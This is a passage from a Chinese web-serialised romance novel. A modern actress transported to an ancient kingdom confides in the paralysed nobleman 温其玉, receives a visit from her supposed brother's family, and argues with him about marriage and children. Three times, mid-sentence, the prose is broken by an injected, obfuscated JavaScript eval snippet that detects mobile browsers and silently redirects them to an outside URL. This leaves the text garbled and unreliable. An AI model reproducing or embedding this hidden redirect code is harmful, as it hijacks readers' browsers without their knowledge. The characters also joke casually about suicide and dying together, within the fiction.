“聪明?”叶之萤以为他会同情自己,可怜自己,唯独没想到他会夸自己。 “有野心,有底线,有魄力,会分析形势,同时知道如何选择才是对自己最有利的,还能凭自己取得那么大的成就,难道还不聪明吗?”说话间,他一直温柔地看着她笑。 叶之萤被他夸得不好意思:“哎呀,怎么说着说着变成互吹彩虹屁了!” “彩虹……屁?”又一次精准踩入某人的知识盲区。 “就是夸奖,天花烂坠的夸奖。” “以前未曾发现你有如此多新奇的话术。” “你喜欢听的话,我以后多给你讲,还有好多呢!” “好。” 屋子里突然陷入了短暂的安静,就好像一首热闹的歌曲唱了一半突然被人按了暂停。 二人都面露尴尬之色。 “未经你同意,擅自做主……”他突然开口道。 “诶……”叶之萤知道他要说什么,不等他说完就用手轻轻捂住他的嘴,“千万别跟我道歉,我一点也不介意,反而要谢谢你呢!不过……” 她有些为难地看着他,思忖着要怎么说接下来的话。 “什么?”他看她一副欲言又止的样子,忙问她道。 她含糊其辞地假装抱怨说:“我在黎城也算小有名气了,既然你都放了这话出去,要是食言了,岂不是让我颜面扫地?” 他嘴角轻扬,一副早有对策的姿态:“请叶姑娘放心,此事我只是派人在杨宗明身边小范围传播,正好被他听到罢了,并未大范围宣传,黎城百姓也并不知此事。” “你……”她被他噎得再无话可说,论挖坑设伏、用计使诈,自己哪能斗得过他,只好换上一副假惺惺的笑脸,口是心非道,“你可真是想得周到!” 他对此欣然接受:“多谢叶姑娘夸奖。” 气得她直翻白眼。 过了一会儿,她又犹豫地开口:“你……” “怎么?”他歪头问道。 “你真的从来没有一点怀疑我吗?” “没有!” “可是……可我……刚来的时候,我那样骂你,还打你……真的对不起,我……我那时是想到了陈如,所以……城门失火,殃及池鱼……”她实在不知道该怎么组织语言才能在不伤害他的情况下解释清楚,一开口全是断断续续的话。 “那不怪你,是我活该!”他笑着打断了她。 叶之萤真的很想使劲抱他一把。 “叶之萤。”温其玉的语气突然严肃。 “怎么了?”叶之萤也顿时有些紧张。 “那么多年,一直被辱骂,被误解,很委屈吧?”说话间,他的右手慢慢抬起,轻轻抚上了她的鬓边。 叶之萤鼻子一酸,一把了握住他的手,摇头道:“不委屈!给自己洗脑,‘我是大明星,才不跟她一般见识’,还有‘我已经得到了那么多,总要失去些什么才公平,总不能什么好事都让我一个人占了吧’。” 温其玉摸着她的发丝,皱起了眉头:“你倒是会自我安慰。” 语气中夹杂着浓浓的心疼。 “人生不如意十之八九,只要活得足够久,总会遇到糟心事。怎么过都是一天,既然控制不了别人说什么、做什么,就只能调节自己的心态了。我是圈子里出了名的好心态,只是没想到,最后居然被陈如活活给气死了,哎!”叶之萤觉得实在讽刺,叹起气来。 “她如此待你,为何还要帮她?” 她反问他:“你觉得我该帮她吗?” 对面的人摇头:“人总该为自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991730|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的行为付出代价,并且,这不像你会做出的事。” 温其玉果然了解她! “温其玉,我告诉你一个秘密。”她似乎是下定了某种决心,将温其玉的手握得更紧了。 “嗯?”温其玉也将头侧了侧,认真听她说下去。 “陈如刚受伤时,我真的很害怕,也很自责。那么一个好好的人,突然就不能动了,虽不是我推的她,但毕竟也是因我而起。我既内疚,又后悔,为什么非要跟她争那个角色呢?如果我同意把那个角色让给她,她就不会用那样的方式威胁我,也就不会出事了!” “那并非你的问题,那件事自始至终,你都没有做错!”温其玉宽慰她。 “我心里清楚我没错,可一看到陈如躺在病床上,连大小便都控制不了,就实在没办法不自责。所以我主动承担了她的医药费,还特意学了按摩,想要弥补自己的过失,想让她原谅我。没想到,却因此被她抓住了把柄,她居然把所有错都推到我身上,一口咬定是我推的她,还到处跟人说,如果我不是心虚,为什么要赎罪?后来,她常常发疯,作天作地,把我的生活搅得一团糟,我对她的愧疚也在这样的痛苦中慢慢磨没了。再后来,‘杀人犯’这三个字在她的谎言下成了我摆脱不掉的标签,我的人生被她泼上了污泥,那肮脏的泥水无论我怎么洗都洗不干净。于是我开始恨她,并产生了一个阴暗的想法,她为什么当时没有摔死?她都残废了,为什么还不去死?如果她死掉了,我是不是就能解脱了?”说到这里,叶之萤有些心虚地瞥了眼面前的人。 温其玉却似乎很理解她的想法,柔声安慰她:“你会这样想,也是人之常情。” “可我没想到她真的割腕自杀了,不过没死成,又被救了回来。那段时间,大家对我的谩骂达到了顶峰。我那时才明白,我身上的污点永远也不会随着陈如的离开而消失了。它们已经像细菌一样长满了我的全身,即使扒皮剜肉也去不掉,即使我死了也会继续长。”叶之萤的眼睛恨得通红,激动道,“我从没如此恨一个人!” 说到这里,她倏地冷笑起来:“那天,我想起了她躺在抢救室里的样子,哭着喊着求医生不要救她,求爸妈放手让她去死,一个念头突然从脑子里一闪而过。既然她不想活,那我就帮她活久一点吧!毕竟,这人间无尽的痛苦是她带给我的,凭什么让我一个人受着?她得活着,我的成功还要她来见证呢!于是我重新承担了她的复健费用,贴心地为她续命,并在她面前得意地走向人生顶峰,看着她为此发疯发狂。可我怎么也没想到,让她活着,她却要了我的命!” 叶之萤叹了长长的一口气,似是欲将胸中的郁结全部吐出,而后两行清泪从脸颊滚落:“温其玉,恨一个人实在太累了!” 温其玉右手拉住她的手腕,将她往自己怀中一扽,叶之萤顺势就趴在了他胸前。 “都过去了!”他轻柔而缓慢地拍着她的后背,温柔的声音却明显哽咽。 “是啊,终于解脱了!对陈如的恨就到此为止吧,她自有她的因果,我也还有我的人生。”说完,她起身摸着温其玉的脸颊,反过来安慰他,“话说回来,要不是她,我也遇不到你啊!” “可我不会感谢她。” 叶之萤笑着捏了一把他的脸:“怎么跟个孩子似的!”然后看了眼窗外,似乎是想到了什么,又收回手,急急忙忙站起身,“我得先走了!” 温其玉一愣,急忙伸手抓她,却因她离得太远没有抓到。 “为何还要走?”他委屈地问她,手还颤颤巍巍地举在半空。 叶之萤把那只手按了下去,道:“我得回布庄把今天的事跟沈老板解释一下,他肯定还在着急呢!” “让阿力随你一起去,再把客栈的房间退了。”叶之萤看他就是生怕她不退房,见缝插针地提醒她。 “可是我付了一个月的钱,现在退房要损失二十天房租啊!”一提到钱,她立马面露心疼。 “你的损失我来承担。”他道。 “那多不好意思啊!”这人果然很上道,一点就通,既然他都主动开口了,叶之萤自然也就不客气了,“一个月二千文,二十天就是一千三百三十三文。” 她话音刚落,温其玉就把阿力叫了进来:“去取一千三百三十三文,给叶姑娘。” “啊?”阿力显然没明白是怎么回事。 “快去!”温其玉不耐烦地打发他走。 阿力不敢耽搁,很快就取了铜钱过来。 “你可以去了。”他对她说。 “诶,什么态度这是……”叶之萤瞪了他一眼,就拉着阿力一起出门去了。 108. 妹夫 叶之萤去布庄找沈老板解释今日之事,谁知杨宗明已经先她一步来过了,不仅承诺沈老板届时会赠上秋菊一百八十八盆,还当场赔了沈老板五十两银子,用来弥补一些不可挽回的损失,比如卖艺人的演出费用,瓜果糕点、产地租用等。这事也算圆满解决了。 她又跑到城西的“依山楼”退房,小二听说她要退房,果然一脸不情愿,嘴里嘟嘟囔囔的:“客官当日信誓旦旦说要在我店里住一年半载,我这才给您折了价,眼下才住了十天就要退房,不是骗人吗?” 叶之萤自知理亏,也不好与他争辩:“我也是临时有事不得不走,这样吧,我失约在先,也不为难你了,你退我一两就行,如何?” “那不行,当时给您说过的,付了就不退,您也同意了。”小二态度非常强硬。 “确实是说过的,所以我这不是跟你商量吗!你要坚决不给退的话,那也行,这间房你们租给我一个月就挣二两。不过这屋子我平时就睡个觉,一点都没弄乱,你们要是给我退了,今天就能租给别人,还有二十天,一天至少八十文,你看这外面人来人往的,怎么算都是给我退了更划算吧?” 小二看了眼门外,如今正是黎城菊花盛放的季节,邺国不少文人雅士纷纷从各地赶来赏菊对诗,客栈生意很好,供不应求,他有些犹豫。 叶之萤又压低声音道:“多出来的差价掌柜的也不知道啊!” 听到这话,他双眼瞬间放了光,悄悄从柜台下取出一两银子推到她面前。 “多谢!” 拿到银子,走在雁湖边,看着不远处雪白的山顶和面前被秋风吹皱的湖面,叶之萤感到空气前所未有的清新,心情大好,捡起草坪里的石子一个又一个地扔到湖面,打起了水漂,却一个都没成功。 那些石子纷纷一头扎进湖水,在水面漾起一朵又一朵涟漪,她突然很想跟一个人分享自己的快乐,但开心地扭过头去,却只有阿力一人陪在她身边。 “要是他也在就好了。”她有些失望和落寞,多想跟他牵着手在雁湖边散步,但这么简单的愿望,这辈子都实现不了了。 她租的那间客房正对雪山和雁湖,推开窗户景色极美,她很想让他也去看看,但那间房在二楼,他只有在众目睽睽之下被人背着才能上去,那必定是他不愿意的。 “少爷心里也是想的,你别怪少爷。”阿力劝她道。 “我知道,我怎么会怪他呢?只是有时候,脑子里就是会跑出来这些不切实际的幻想。”她苦笑了一下,又问道,“他的腿,真的没有一点儿希望了吗?” “叶小姐,少爷的情况你都看到了,若是上半身能恢复到从前的七八成,便是奇迹了。我知道你始终对少爷的身体有些介怀,少爷自己训练也非常努力,但有些事情并不是努力就能改变的,我们都要面对现实。” “我早就不介意他的身体了,只是不想他活得那么辛苦。”她又捡起一颗石子儿扔了出去,那颗石子儿在湖面上跳了一下,就在她激动地以为要成功的时候,闷头钻入水中。 回到温宅后,她看到温其玉已经重新坐在轮椅上,正在餐桌旁等她。 “房租我要回来了,不用你承担损失了,钱还给你。”她把钱放在他面前,得意地冲他一笑。 桌上摆了六盘佳肴,有菜有肉有点心还有汤,她肚里的馋虫一下子就被它们勾醒。顺手拉过一把凳子,和他并肩而坐,也不客气一下,直接卷起袖子就开吃了。 吃了一会儿,见身边的人一直干坐着,就把一只刚剥了壳的虾递到他嘴边:“来,吃个虾。” 动作自然得连她自己都没反应过来有什么问题。 温其玉看着那只虾愣了几秒钟,张口吃掉了它:“多谢!” 她又为他剥了几只,放在他面前的碟子里。他现在已经可以用手拿着东西吃了,也可以用勺子,虽然姿势难免狼狈,偶尔也会喂不到嘴里,但进步真的很大,每用一次药,身体都会进步一点。 对现在的温其玉来说,自己吃饭仍是件不容易的事。他要先用整只手握住勺子,小心翼翼地抬起胳膊把勺子往嘴边送,还要时刻注意不能让勺子里的食物掉出来,但手举得过高,超过了肌力能负荷的限度,整只手还是会不由地颤抖。所以他只能又用身子抵住桌边,在保证自己坐稳不会摔倒的情况下,低下头,用嘴去找勺子,在头和手的努力配合下,才能吃到勺子里的食物。 吃饭的样子实在算不得优雅。 但叶之萤依旧为他的不懈努力感到高兴,真诚地向他投去了一个崇拜的眼神。 “想吃哪个菜告诉我,我帮你夹。”她对他说,虽然她知道他肯定不会告诉她。 “好。”虽然明知自己不会这么做,但他还是应了她的话。 他们第一次坐在一张桌子上一起吃饭,没有阿力或荣祥的伺候,就只有他们两个。两个人都没说太多话,只是默默地吃饭。 温其玉果然没有主动开口提要求,她夹给他什么他就吃什么,偶尔她会帮他擦擦嘴边的汤汁,或帮他清理掉在身上的饭菜。 起初,幸福只是在二人心底慢慢滋生,渐渐的,它开始向上生长,蔓过二人的咽喉,最终爬上他们的脸,驱散了眼中的愁云、抚平了眉心的皱纹,让嘴角、眼角、眉梢都结出了幸福的果实…… 陈阳在两天后又不请自来了,来的时候,叶之萤正在温其玉房里陪他锻炼。 这次前来,他不仅提了不少杨家的茶叶——“玉莲香”,还领着妻儿。 嫂子看起来年纪并不大,中等身高,身材丰腴,脸圆圆的,一直带着笑,走起路来风风火火的,看起来很是泼辣。 儿子一岁左右的样子,被妈妈抱在怀里,虎头虎脑的,一点也不认生,一见面就冲叶之萤笑,看起来性格是随了妈妈。仔细看,眉眼间还有几分姑姑陈如的影子。 原本叶之萤是想领他们到自己房里去的,但陈阳执意要跟温其玉道谢,一定要留在温其玉房里,她没办法,只好由他。 “榕兰,她就是我跟你说的失散多年的妹妹!”陈阳拉着叶之萤的胳膊,激动地跟自己的老婆介绍起来。 嗯?失散多年? 对于回去之后是怎么跟榕兰讲他们之间的关系的,陈阳并没有提前和叶之萤通气,所以叶之萤也不好多说,说多错多,只能顺着他的话点头:“是的是的,我跟哥哥很多年未见了!” 榕兰见了她,眼睛瞬间睁成了圆形,嘴也张成了圆形,这下原本就圆圆的脸显得更圆了,让叶之萤不禁想到一个词——“脸似银盘”。 “老天爷啊,瞧这凤眼高鼻、唇红齿白的模样,宗明,她真的是你亲妹妹吗?” “这……”问得陈阳瞬间语塞。 “我随爹,他随娘。”叶之萤捂嘴轻笑。 “夜莺妹妹,我听你哥哥都说了,当年因为天灾,你们俩被迫分开了好多年,原以为此生不复相见,没想到还能再次重逢,真是老天有眼,我真替你们开心!只是……”榕兰一手抱着娃,一手拉着叶之萤的胳膊,将她上下打量了一番,又转头问陈阳,“你从前不是说,妹妹腰椎受了伤、不良于行吗?我看这不是好好的嘛!” “啊?那个……”叶之萤偷瞪了陈阳一眼。 陈阳赶紧圆谎:“榕兰,你听错了,我说的是妹夫,不是妹妹。” “啊?是吗?” 榕兰还正迷惑着,就被陈阳了带到床边,指着靠坐在床上的温其玉郑重介绍道:“夫人,这位就是温公子,是妹妹的……” 还不等陈阳说完,榕兰就先他一步接了话,热情地跟温其玉打起了招呼:“这位一定是妹夫吧?真是翩翩君子,一表人才!单看外表,你们二人就是天造地设的璧人一双啊。” “噗……”叶之萤一下子笑出了声。 温其玉尴尬地看着站在榕兰身后幸灾乐祸的叶之萤,一脸的无可奈何。 陈阳赶紧拉住榕兰,小声提醒:“还不是,夫人。”就在他们都以为陈阳是要帮忙解围时,他却紧接着说,“不过也快了!” “咳咳……”温其玉再也绷不住了,连声咳起来。 而叶之萤在榕兰身后笑得更花枝乱颤了。 “荣祥,为客人看茶,再去吩咐厨房预备些茶点。”他很快恢复如常,招呼起客人。 “二位请坐。我身子不便,不能起身相迎,失了礼数,还望见谅。”礼貌且不失分寸。 陈阳他们来得突然,也没有提前通知,所以温其玉并没有时间梳头更衣。但好在他平日里即使不出门,头发也梳得一丝不苟,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991731|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上所穿都是素色丝绸,即使没有额外打扮,依然清爽宜人,大方得体。只是他未能来得及戴上身体支架,叶之萤看他坐在床上拼命挺直身体,努力维持着挺拔的体态,颇为辛苦,忍不住替他担心起来。 “别客气别客气!你不用起来,我们自己能招呼自己。”榕兰很自然地摆摆手,抱着孩子径自走到榻旁坐下。不得不说,她这个大大咧咧的性格倒是很招人喜欢。 陈阳也跟着坐在她身旁。 “念辰,叫姑姑,姑——姑。”她一边指着叶之萤,一边口型夸张地教怀中的孩子说话。 念辰,念……陈,这名字取得很有深意。 “来,念辰,让姑姑抱抱!” 没想到小念辰听到叶之萤对他说话,主动就往她怀里扑。她小心翼翼地抱起他,怀中的小人儿激动地在她怀里手舞足蹈,跳来跳去,吓得她死死地搂住他的身体,弯着膝盖半蹲着,动都不敢动,生怕他从自己怀里滑下去,嘴里还紧张地喊着:“快快快,快接住他,他要掉了!” 榕兰看她手忙脚乱的滑稽样子,赶紧接过孩子,开玩笑道:“没事,别怕!一回生二回熟,以后我多带孩子过来找你,就当给你练练手,日后你们有了孩子就不慌乱!” “我……我……我们?”叶之萤吓得声音都结巴了,连投向温其玉的眼睛瞳孔都放大了,以后慌不慌不知道,现在这话就够让人慌的了,她可是最怕孩子了,榕兰最好是开玩笑。 温其玉也被榕兰的话臊得脸红心跳,要是能动,怕是都要从这屋子逃出去了! “榕兰,看你把他们吓得!”陈阳责备道,而后又笑着对叶之萤说,“我还记得你当年信誓旦旦说,这辈子不结婚也不生孩子。我们还笑你要当一辈子单身狗呢!” 床上的人此时神色已恢复如常,他轻轻挑眉,似乎对这个话题很感兴趣。 “咳,都是陈年旧事了。”她摇了摇头,不想再说下去。 陈阳却没有要停的意思:“那时候你多坚定啊,李飞从南京赶到北京,特意准备了九百九十九朵红玫瑰向你求婚,我们作为旁观者都被感动得不行,你竟然一点面子都没给他,当场就拒绝了,气得他把花扔进了垃圾桶,扭头就回南京了。没想到啊……”他话锋一转,对着温其玉说道,“这么一座冷漠的冰山,也被温公子融化了!” 他口中的李飞就是叶之萤那位前男友,当时这事过去不久,她就和他正式分了手,并同意和王总炒了绯闻。 叶之萤瞄了眼温其玉,想看看他听到这事有何反应,却发现他也正看自己,若有所思的样子。 “对了,夜莺!”榕兰是个自来熟,已经跟着陈阳叫她“夜莺”了,“你哥哥为你做的,打开看看!” 叶之萤顺着她手指的方向看去,陈阳手中正拿着一个食盒。 打开一看,里面是她最爱的糖醋里脊。她把头埋进去,只闻了一口,情绪就被带回到八年前那个阳光明媚的午后。 那时,她和陈如一边吃着陈阳做的饭,一边叽叽喳喳跟圈外单纯的他讲圈中那些奇葩事,什么某艺人为了资源陷害兄弟,某女星为了争到一个角色主动找投资方投怀送抱等等。当时二人都对这些行为嗤之以鼻,信誓旦旦地说,要靠自己的实力在娱乐圈闯出一片天地,一起做内娱最有名的女明星。 后来…… ”怎么发起呆了?”陈阳晃了晃她的胳膊,将她飘向远方的思绪拉了回来。 一滴泪从眼角滚落,她扯起一个笑脸道:“还是熟悉的味道。” 榕兰把孩子塞给陈阳,上前拍了拍她的肩,对她说:“好妹妹,想家了吧?以后杨家就是你的家,我们都是你的亲人。”又取出手帕帮她擦掉眼泪,玩笑道,“夜莺妹妹,你这一哭就像是天上的仙子落了珍珠泪,我见犹怜,妹夫看了还不得心疼死啊!” “他不是……”她原本想替温其玉解释来着,可又一转念,正是当时温其玉暗地里向陈阳传递了二人要成婚的假消息,到现在还没机会解释清楚,所以这俩人现在才左一个“妹夫”,右一个“成婚”的说。没想到聪明如温其玉,也有搬起石头砸自己脚的时候! 温其玉啊温其玉,机关算尽,没算到会有今天吧!哈哈,活该!我倒想看看,你自己挖的坑,自己是跳还是不跳! 109. 再划界限 叶之萤干脆也不解释了,一副看热闹不嫌事大的态度,任由这二人让他汗流浃背,嗔怪了一句:“他才不心疼呢!” 榕兰又扭头问温其玉:“妹夫,你说,你心不心疼?” 陈阳见势,急忙起身一手拉住她:“哎呀,榕兰,虽是好事将近,但这不是还没成婚吗?你就别拿他们俩打趣了。” 明明是解围的话,但听起来还是怪怪的…… 叶之萤则坐在一旁悠哉地吃起了陈阳炒的菜。 温其玉被榕兰这么逼问,脸上却没有半分为难:“我这宅子冷清得很,平日里叶姑娘一直独来独往,无人相伴,她虽未明说,但想来也是寂寞的,有时难免唉声叹气,暗自神伤。我作为好友自是心疼。只是我心有余而力不足,实在不方便陪她出门游玩,为此,我也时常感到愧疚。如今她与杨公子兄妹相认,日后多了家人相伴,我当然为她感到高兴。若是往后你们姑嫂间能多帮衬,相互结伴多出去走走,温某便能安心了!” 这人说话滴水不漏,别说掉坑里了,完全是故意绕着坑边走!只字不认她和他的关系,即使承认了心疼她,也只是以朋友的立场所说。至于说不方便陪她游玩,可以是身体不便,当然也可以是身份不便,真是只千年的狐狸! 本是兴致勃勃想看他热闹的,结果倒是自己出了洋相。叶之萤把筷子摆在一旁,气得一口饭都吃不下了。 聪明的榕兰亦听出了话中不对,接着他的话笑道:“我和宗明都不是黎城人,在此地亦无其他亲友相伴,平日里想出去逛逛,他又忙茶园的生意总不能陪我,日后有了夜莺妹妹相陪正好,温公子大可安心!” 荣祥正在此时端来了几盘精致的茶点。刚放在榻上的案几上,念辰就急着从娘亲手中挣脱着要下地。榕兰只好把他放在地上,拉住他的手,小家伙竟然摇摇晃晃地走起来了。 “宗明,念辰见到咕咕,高兴得会走路了!”榕兰激动地冲陈阳喊道。 陈阳也赶紧起身护着儿子。 小家伙似乎对自己解锁新技能也非常兴奋,一边摇晃着走,一边给自己拍手鼓掌,谁知失了平衡,一屁股坐在了地上,惹得大家都哈哈大笑。 小家伙不气馁,又爬起来继续往前走,晃晃悠悠走到了温其玉床边。他也就比床高半头,笑着把小手伸过去够床上那只大手。温其玉见状,温柔地把手挪到念辰手边,任由他抓着玩。 几人又聊了一阵,玲珑心的榕兰便主动借口有事与陈阳起身告辞。离开时,陈阳再三邀请叶之萤去杨府小住。温其玉一听这话,脸色立马不好了,叶之萤也不情愿去,便推脱掉了,又承诺找个日子和温其玉去他们的茶园做客,他们才终于作罢离开。 他们走后,温其玉突然对陈阳带来的糖醋里脊起了兴趣:“它是什么味道?” “你想尝尝吗?”叶之萤把盘子端到他面前,夹了一块肉喂他,“这是我们那儿很常见的一道菜,也是我最爱吃的,有点凉了,你尝一口就好。芡汁是用醋和白糖勾兑,酸甜味的,怎么样,好吃吗?” 他嚼得很慢,很认真,过了一会儿,才道:“这味道与松鼠鳜鱼甚是接近。” 她点头道:“对!对!松鼠鳜鱼也是糖醋汁,不过鱼有刺,没有肉吃着方便!来,再尝尝这个,这个是水煮牛肉,本来是辣的,但是你们这里还没有红辣椒呢,所以少了些滋味。” 辣椒明朝才传入中国,邺国只有些辛辣的调料,比如胡椒、花椒之类的,对于喜辣的叶之萤来说,总是少了些滋味。 “红辣椒是何物?”又到了他的好奇时间,他对于她口中那些没听过的东西总是充满好奇。 “就是一种在几百年后才会传入中国的佐料,这种佐料会让人的口腔产生灼烧的痛觉,但同时又能给食物增香,是我们那里几乎做每道菜都会放的东西。” “来到这里,是否觉得很委屈?”他看着她,眼底透出怜惜。 “那倒也没有,谁让这里有你呢?”这句话一说完,叶之萤突然又想起温其玉刚才那番与自己划清界限的发言,立马脸色一变,控诉起来,“我还想问你呢,你刚才什么意思啊?他们都以为我和你要结婚了,你突然一句‘好友’,让我很没面子你知道吗?” “我只是不想他们误会。若是他们误会了你我的关系,恐怕……恐怕日后就不会再为你物色其他好的男子了。”他已经猜到这话说出来她一定会生气,所以提前避开了她的目光。 却没想到叶之萤直接一拳捶到了他胸口:“你说什么呢?什么其他男子?你又抽风了?” 他解释说:“这一年来,你在这里几乎只接触了我一人,你之所以觉得我好,或许是因为尚未发现更好的罢了。” 叶之萤听得出来,他说这番话并不是真心的,只是自卑在作祟罢了,但她还是顺着他的话说了下去:“你说得倒也是,陈阳在这里做生意应该也认识不少人,既然你这么贴心为我着想,那我下次就跟他说明咱俩的关系,拜托他好好物色几个好男人供我挑选。” 他的失落溢于言表,别扭地把头別向一侧。 “这又是何必呢?”她瞪了他一眼,“你明明不是这样想的,明明不愿意我再接触别的男人,为什么又要口是心非把我推开呢?我们不是已经说好了,等你好了就在一起吗?你是不是后悔了?” 他将头扭了过来,她发现他的眼眶已经微红:“万一我好不了呢?万一我……”他犹豫再三,还是咽下了想说的话,只是问她,“难道你真的要把一生都耗在我身上?” 叶之萤笑了起来:“万一你好不了,又不愿意接受我,那我就一辈子当条单身狗,也挺好的。单身狗你知道是什么吧?” “你又何必为了我如此牺牲?”他似乎还想劝她。 “你别给自己贴金了,谁说我是为了你?刚刚没听陈阳说吗?我原本就立志不婚不育的,只是没想到遇到了你,才让我动了想要和你在一起的念头。但是这婚其实也不是非结不可,只要两个人在一起开心快乐,结不结婚都无所谓的,你要是实在怕这副身体束缚我,那我们只谈恋爱,不谈名分,我也没问题的。”可是她说着说着,突然又想到了一个问题,兴奋的情绪一下子蔫了。 “怎么了?”他问。 “那个,”她犹豫了一会儿,还是决定把自己的顾虑说了出来,“你能接受不生孩子吗?” “不要孩子?”温其玉似乎对此很意外,但态度却比叶之萤想得淡定许多。 “嗯,虽然我们还没在一起,现在跟你谈这个问题也许是早了点,但所谓丑话说在前头,还是有必要告知你一下,我不愿意生孩子。” “为何不愿意,我能知道原因吗?”他的反应和叶之萤料想的完全不同,竟然笑了起来。 “因为我怕疼,怕死,怕麻烦,怕操心,我只想自在地为自己活一辈子。”她完全没有停顿,一气呵成。 “没有子女,日后无人照料该当如何?”说这话时,他没有看她,语气变得有些沉重。 叶之萤不免觉得他的担心有些多余:“你这小院儿里就已经有几十人了,还怕没人照顾你啊!” “我是说……倘若我……倘若……你的夫君很早就离开了,膝下又没有一儿半女,晚年你身边岂不是连个亲近之人都没有?” 她这才知道,原来温其玉并不是在为自己担心,而是在为她的将来担心。千年前的中国不比现代,这里没有完善的养老体系,整个社会都遵循着养儿防老的程序。他只是怕自己早逝,会留她一人在这世上孤苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991732|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无依、无人照料。 “咳,你就别□□的心了!那还不简单嘛,有钱的话就雇人照顾我呗,没钱就自己过,等到风烛残年难以自理,主动了结就完事了!几十年以后的事,现在何必想那么多,说不定我还比我夫君死得早呢!”她嬉皮笑脸地开着玩笑,一副满不在乎的样子。 这话并不是完全胡诌,一年前的叶之萤,对于死亡这个话题还避之不及,但这一年里,连续经历了意外死亡、穿越时空、失去一切、自杀未遂、获得新生等种种不可思议的非正常事件,现在的叶之萤在思想上已经顿悟,与其惧怕死亡,不如过好当下。 可温其玉听她一席胡言乱语,眉心却是越拧越紧。他终究还是放心不下她。 “你是怎么了?为什么突然变得这么悲观?都不像你了!”叶之萤觉得有些奇怪,温其玉是那么坚韧、顽强的人,是能将命运玩弄于股掌的人,怎么会突然悲观了呢? “你老实跟我说,是不是身体出问题了?你……你到底怎么了?不行,我得去问林大夫!” “你别急,别急。”他一把拉住了说走就要走的她,耐心安慰起来,“我身体没事,别怕。” “真的没事?”叶之萤依旧半信半疑。 “真的没事。我只是……只是不忍看你在我身上浪费时间罢了。” 叶之萤一把握住了他的手,望着他的那双眼睛几乎要将他整个人吞掉:“既然不忍心,那就答应我!” 温其玉自然不会答应她。不仅如此,还从她手里强行抽出了自己的手。 她倔强地再把它们抢了回来,使劲捏在手里不准它们再走。 而后,她说:“温其玉,我所在的那个世界,特别是我所处的圈子,感情是最不值一提的东西。一夜贪欢,用感情换利益,是非常稀松平常的事。就算是结了婚的人也可以各玩各的,离婚更是家常便饭的事。仿佛感情并不是那个被我们小心翼翼捧在掌心、需要一生呵护的珍宝,而是一件皮包、一双鞋子、一条项链,只是用来搭配点缀自己的生活而已,某一天看腻了、或者换风格了,就抛弃不要了。 我父母感情也不好,从我很小的时候,他们就几乎每天都在吵架,而吵架的主题永远都是‘钱’,那时我便知道了,贫贱夫妻百事哀,不幸的婚姻才是生活的常态。 我不愿让自己陷入这样悲哀的循环,我不想经历婚姻的痛苦,我的人生,只要有钱就够了!即使后来我也谈了恋爱,却依然很难让爱情占据自己心中很重要的位置,在那段关系中,我非常被动,不愿为爱做出一点点牺牲和让步,当他和我求婚时,我仿佛变成了一只即将被锁进牢笼的鸟,心中只剩对未来无限的恐惧,所以我选择了逃跑。 我一直以为那段关系是我辜负了他,一直以为是因为我的世界不需要爱情,所以才伤害了一个好男孩。 直到我遇见你,我才意识到,原来在那段感情中,是他没有让我感受到被爱的滋味。我并不是不需要爱情,我只是一直没有遇到对的人。遇到你,我人生中第一次有了想和一个人生活一辈子的冲动。你不要再推开我了,因为我的心里不会再有别人了,即便有一天我的大脑忘记了你,我的心也会本能的再爱上你!” 她不断地靠近他,用最温柔的话威胁他:“所以,回到刚才的问题,如果你不爱惜自己,早早地就撇下我,那我就陪你一起殉情,不求同年同月同日生,但求同年同月同日死,多浪漫啊!” “胡闹!”他把她身体推开,由于力道不小,连他自己都踉跄了一下,叶之萤急忙伸手扶住他,他却生气地把她的手扯了下来,嗔怒道,“你真是疯了!” 她却笑着点头承认:“是啊,所以你可得照顾好自己,要是不好好活着,我真的会发疯给你看的!” 110. 病急乱投医 “我真的不明白,你为何非要在我这个废人身上浪费时光呢?”温其玉沮丧地抬起双手给她看,“我已经很努力了,可即使如此,我依然控制不了它们。但这就是我,我必须接受它们。可你和我不同,你有选择,你完全可以不接受它们!”他赌气地用无力的双手用去拍打更加细瘦无力的双腿,两条腿就像死去了一样毫无反应。 叶之萤刚才就觉得温其玉今日有些不对劲。现在她明白了。即使心态再好,也会有被现实打击得失去自信的时候,也有被重压压到怀疑崩溃的时候,只是从前温其玉都将这些情绪藏在了心底,没有让她看到罢了。 叶之萤没有直接回答他的问题,反而给他讲起了自己的故事:“我从小没有感受过太多亲情,我的父母在我很小的时候就不要我了,我是跟着姥姥姥爷长大的。” 只这一句,对面温其玉那对浓密的睫毛就明显颤了一下,他满眼讶异,似乎是不太明白,这么好的女孩子怎么会被抛弃? 